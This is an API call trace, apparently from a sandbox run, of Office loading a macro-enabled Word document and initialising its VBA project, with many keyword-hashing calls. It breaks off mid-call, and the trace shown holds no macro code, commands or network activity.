[0069.114] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm", _String2="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm") returned 0 [0069.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x14) returned 0x2885d6d1c10 [0069.114] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x14) returned 0x2885d6d1b50 [0069.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xbcb38f4500, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0069.218] _stat64i32 (in: _FileName="Normal", _Stat=0xbcb38f4720 | out: _Stat=0xbcb38f4720) returned -1 [0069.219] wcscpy_s (in: _Destination=0x2884e19c3ae, _SizeInWords=0x7, _Source="Normal" | out: _Destination="Normal") returned 0x0 [0069.219] wcscpy_s (in: _Destination=0x2885d4e9218, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0069.221] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d6d1b50) [0069.222] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d6d1c10) [0069.222] wcsncpy_s (in: _Destination=0xbcb38f42b0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0069.222] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0069.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xbcb38f41e0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0069.222] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0069.222] wcsncpy_s (in: _Destination=0xbcb38f42b0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm") returned 0x0 [0069.222] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm", cchLength=0x37 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm") returned 0x37 [0069.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm", cchWideChar=56, lpMultiByteStr=0xbcb38f41e0, cbMultiByte=112, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm", lpUsedDefaultChar=0x0) returned 56 [0069.222] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm", _String2="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm") returned 0 [0069.223] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x12a) returned 0x2885d507480 [0069.223] wcsncpy_s (in: _Destination=0x2885747f8c8, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x30 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#") returned 0x0 [0069.223] wcscpy_s (in: _Destination=0x2885747f928, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0069.223] wcscpy_s (in: _Destination=0x2885747f9a6, _SizeInWords=0x26, _Source="#Microsoft Office 16.0 Object Library" | out: _Destination="#Microsoft Office 16.0 Object Library") returned 0x0 [0069.223] wcscpy_s (in: _Destination=0x2885d4e9258, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0069.223] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d507480) [0069.223] wcsncpy_s (in: _Destination=0xbcb38f42b0, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0069.223] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", cchLength=0x94 | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library") returned 0x94 [0069.223] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x12a) returned 0x2885d509500 [0069.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", cchWideChar=149, lpMultiByteStr=0x2885d509500, cbMultiByte=298, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files\\common files\\microsoft shared\\office16\\mso.dll#microsoft office 16.0 object library", lpUsedDefaultChar=0x0) returned 149 [0069.223] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2885d509500) [0069.223] _wcsicmp (_String1="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library", _String2="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0 [0069.223] wcsncpy_s (in: _Destination=0xbcb38f42b0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm") returned 0x0 [0069.223] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm", cchLength=0x37 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm") returned 0x37 [0069.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm", cchWideChar=56, lpMultiByteStr=0xbcb38f41e0, cbMultiByte=112, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\cusersuserdesktopfasfas.docm", lpUsedDefaultChar=0x0) returned 56 [0069.223] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm", _String2="*\\CC:\\Users\\FD1HVy\\Desktop\\CUsersUserDesktopfasfas.docm") returned 0 [0069.223] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e6dd0, cb=0xc) returned 0x2885d6d1af0 [0069.223] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2885d6d1cb0 [0069.223] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d6d1cb0) returned 0x18 [0069.224] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc) returned 0x2885d6d1a90 [0069.224] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2885d6d1a90) returned 0xc [0069.224] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d5e6d70, cb=0xd0) returned 0x2885d662580 [0069.224] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2885d650d40, cb=0x238) returned 0x2885d6ed640 [0069.224] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x28860e10000 [0069.225] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x28860e20000 [0069.225] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="0") returned 0x301047 [0069.225] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x30) returned 0x28857643aa0 [0069.225] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x28860e60000 [0069.226] VirtualAlloc (lpAddress=0x28860e20000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x28860e20000 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Abs") returned 0x3072bc [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Access") returned 0x301d98 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="AddressOf") returned 0x30e252 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Alias") returned 0x30bf6d [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="And") returned 0x307469 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Any") returned 0x30747e [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Append") returned 0x308f83 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Array") returned 0x309187 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="As") returned 0x305c8d [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Assert") returned 0x3096e9 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="B") returned 0x301059 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Base") returned 0x30afa9 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="BF") returned 0x305ca5 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Binary") returned 0x3008a4 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Boolean") returned 0x30978e [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="ByRef") returned 0x308ba6 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Byte") returned 0x302fe7 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="ByVal") returned 0x30a07c [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Call") returned 0x30744b [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Case") returned 0x307547 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CBool") returned 0x304c74 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CByte") returned 0x3082a0 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CCur") returned 0x308050 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CDate") returned 0x308dc3 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CDec") returned 0x30834a [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CDbl") returned 0x3082e4 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CDecl") returned 0x30a0b9 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="ChDir") returned 0x30b2fb [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CInt") returned 0x309f65 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Circle") returned 0x303fd1 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CLng") returned 0x30af63 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Close") returned 0x3005ab [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Compare") returned 0x30af82 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Const") returned 0x30517a [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CSng") returned 0x30d4d2 [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CStr") returned 0x30d5bb [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CurDir") returned 0x301bab [0069.227] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CurDir$") returned 0x30f7cc [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CurDir") returned 0x301bab [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CVar") returned 0x30e307 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CVDate") returned 0x30cfd6 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="CVErr") returned 0x308902 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Currency") returned 0x30f10a [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Database") returned 0x30eec7 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Date") returned 0x303b0a [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Date$") returned 0x3031c7 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Date") returned 0x303b0a [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Debug") returned 0x30eaee [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Decimal") returned 0x3036dd [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Declare") returned 0x304a38 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefBool") returned 0x3091ad [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefByte") returned 0x30c7d9 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefCur") returned 0x30cc45 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefDate") returned 0x30d2fc [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefDec") returned 0x30cf3f [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefDbl") returned 0x30ced9 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefInt") returned 0x30eb5a [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefLng") returned 0x30fb58 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefObj") returned 0x30096b [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefSng") returned 0x302088 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefStr") returned 0x302171 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DefVar") returned 0x302ebd [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Dim") returned 0x3083c4 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Dir") returned 0x3083c9 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Dir$") returned 0x306567 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Dir") returned 0x3083c9 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Do") returned 0x305cf8 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="DoEvents") returned 0x309634 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Double") returned 0x300d99 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Each") returned 0x30fe75 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Else") returned 0x303b56 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="ElseIf") returned 0x30f307 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Empty") returned 0x30f4f5 [0069.228] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="End") returned 0x3089cd [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="EndIf") returned 0x3078bd [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Enum") returned 0x30465a [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Eqv") returned 0x308a4e [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Erase") returned 0x3080da [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Error") returned 0x30db3c [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Error$") returned 0x30cf60 [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Error") returned 0x30db3c [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Event") returned 0x30ac4b [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Exit") returned 0x307a1f [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Explicit") returned 0x30edcb [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="F") returned 0x30105d [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="False") returned 0x302d01 [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Fix") returned 0x308e81 [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="For") returned 0x308f59 [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Format") returned 0x302337 [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Format$") returned 0x30efc7 [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Format") returned 0x302337 [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="FreeFile") returned 0x30483a [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Friend") returned 0x30bd1c [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Function") returned 0x307810 [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Get") returned 0x309342 [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Global") returned 0x30f88f [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Go") returned 0x305d67 [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="GoSub") returned 0x30b425 [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="GoTo") returned 0x30d70b [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="If") returned 0x305da8 [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Imp") returned 0x309f18 [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Implements") returned 0x30a988 [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="In") returned 0x305db0 [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Input") returned 0x30022a [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Input$") returned 0x307767 [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Input") returned 0x30022a [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="InputB") returned 0x307785 [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="InputB$") returned 0x300c59 [0069.229] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="InputB") returned 0x307785 [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="InStr") returned 0x30120e [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="InStrB") returned 0x30c2fb [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Int") returned 0x309f41 [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Integer") returned 0x30b48a [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Is") returned 0x305db5 [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="LBound") returned 0x301e0b [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Left") returned 0x307be5 [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Len") returned 0x30adf9 [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="LenB") returned 0x307cfb [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Let") returned 0x30adff [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Lib") returned 0x30ae81 [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Like") returned 0x3091f3 [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Line") returned 0x309262 [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="LINEINPUT") returned 0x3008f1 [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Load") returned 0x30b096 [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Local") returned 0x30353f [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Lock") returned 0x30b0e7 [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Long") returned 0x30b27a [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Loop") returned 0x30b2a8 [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="LSet") returned 0x30c69e [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Me") returned 0x305e3b [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Mid") returned 0x30b3dc [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Mid$") returned 0x30566d [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Mid") returned 0x30b3dc [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="MidB") returned 0x30568b [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="MidB$") returned 0x302a70 [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="MidB") returned 0x30568b [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Mod") returned 0x30b4ba [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Module") returned 0x301ee1 [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Name") returned 0x30f2f0 [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="New") returned 0x30b8b4 [0069.230] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Next") returned 0x3009bb [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Not") returned 0x30ba23 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Nothing") returned 0x305f21 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Null") returned 0x305d87 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Object") returned 0x302ec1 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="On") returned 0x305e8e [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Open") returned 0x300767 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Option") returned 0x30f982 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Optional") returned 0x30675a [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Or") returned 0x305e92 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Output") returned 0x30f959 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="ParamArray") returned 0x305945 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Preserve") returned 0x30a5fc [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Print") returned 0x30f00d [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Private") returned 0x3073c3 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Property") returned 0x30d2fa [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="PSet") returned 0x30dd55 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Public") returned 0x301287 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Put") returned 0x30c5b3 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="RaiseEvent") returned 0x30274a [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Random") returned 0x30f428 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Randomize") returned 0x30ab02 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Read") returned 0x301d0f [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="ReDim") returned 0x30eea8 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Rem") returned 0x30ce0e [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Resume") returned 0x30728b [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Return") returned 0x3038eb [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="RGB") returned 0x30ce4d [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="RSet") returned 0x306891 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Scale") returned 0x30e596 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Seek") returned 0x30e387 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Select") returned 0x30cabd [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Set") returned 0x30d36e [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Sgn") returned 0x30d3b2 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Shared") returned 0x30479e [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Single") returned 0x30a99f [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Spc") returned 0x30d4f4 [0069.231] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Static") returned 0x3029c6 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Step") returned 0x303384 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Stop") returned 0x3034f6 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="StrComp") returned 0x30274d [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="String") returned 0x30102a [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="String$") returned 0x30c31c [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="String") returned 0x30102a [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Sub") returned 0x30d5ac [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Tab") returned 0x30d821 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Text") returned 0x30abed [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Then") returned 0x30b933 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="To") returned 0x305f48 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="True") returned 0x30f0f4 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Type") returned 0x30156b [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="TypeOf") returned 0x305fe8 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="UBound") returned 0x30ea71 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Unload") returned 0x304e44 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Unlock") returned 0x304e95 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Unknown") returned 0x30a142 [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Until") returned 0x30ecec [0069.232] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="Variant") returned 0x308738 [0069.232] LHashValOfNameSysA 